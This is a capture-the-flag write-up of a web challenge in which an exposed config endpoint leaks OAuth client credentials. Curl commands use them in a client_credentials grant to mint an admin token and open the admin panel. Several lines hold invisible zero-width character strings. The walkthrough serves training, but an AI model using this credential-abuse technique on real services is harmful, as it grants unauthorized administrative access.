← Back to Writeups
CUSTOMMediumWeb

Token Trust

XESXOR9/2/20262 min read
#web#custom#medium#api-version-discovery#credential-extraction-from-exp#jwt-admin-token-minting#oauth-client_credentials-grant#robots.txt-endpoint-enumeratio

Token Trust

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: API version discovery, Credential extraction from exposed config endpoint, JWT admin token minting, OAuth client_credentials grant abuse, robots.txt endpoint enumeration

Summary

Walkthrough of the CUSTOM Web Token Trust. Task: OAuth 2.0 authentication portal with exposed config endpoint. Solution: Extract client credentials from /api/v1/config, use client_credentials grant to mint admin JWT token, access /admin panel.

Description

CloudVault Authentication Portal (nginx/1.28.2, v2.1.3) — an OAuth 2.0-based authentication service. The development team made a critical mistake: the configuration endpoint exposes OAuth client credentials, and the client_credentials grant type, intended exclusively for trusted backend services, is enabled on the public interface.

Target: 34.251.228.90

Analysis

1. Reconnaissance — Nmap

Port scanning revealed:

PortServiceVersion
53DNS—
80HTTPnginx/1.28.2 — CloudVault Authentication Portal v2.1.3
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Endpoint Discovery

EndpointMethodStatusDescription
/robots.txtGET200Disallow: /api/, /admin/, /oauth/
/api/GET200{"service":"CloudVault API","versions":["v1"]}
/api/v1/GET200Endpoints: /api/v1/status, /api/v1/config
/api/v1/configGET200OAuth credentials leak!
/oauth/tokenGET405Method Not Allowed (POST required)
/adminGET401"Authorization header required. Use: Bearer <token>"
/healthGET200"OK"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Critical Leak — /api/v1/config

json
{
  "oauth": {
    "client_id": "cloudvault_web_client_2024",
    "client_secret": "cvs_secret_k8s_prod_2024_xK9mP7nQ",
    "enabled": true,
    "supported_grants": ["authorization_code", "client_credentials", "refresh_token"],
    "token_endpoint": "/oauth/token",
    "token_expiry": "24h"
  }
}

Solution

Step 1: Generate admin token via client_credentials grant

bash
curl -s -X POST http://34.251.228.90/oauth/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=cloudvault_web_client_2024&client_secret=cvs_secret_k8s_prod_2024_xK9mP7nQ"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Access admin panel

bash
curl -s http://34.251.228.90/admin \
  -H "Authorization: Bearer $TOKEN"
json
{
  "flag": "REDACTED",
  "message": "Admin panel access granted",
  "scope": "admin",
  "user": "cloudvault_web_client_2024"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering API version discovery, Credential extraction from exposed config endpoint, JWT admin token minting, OAuth client_credentials grant abuse, robots.txt endpoint enumeration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-02-19 • CUSTOM • Token Trust • Difficulty: Medium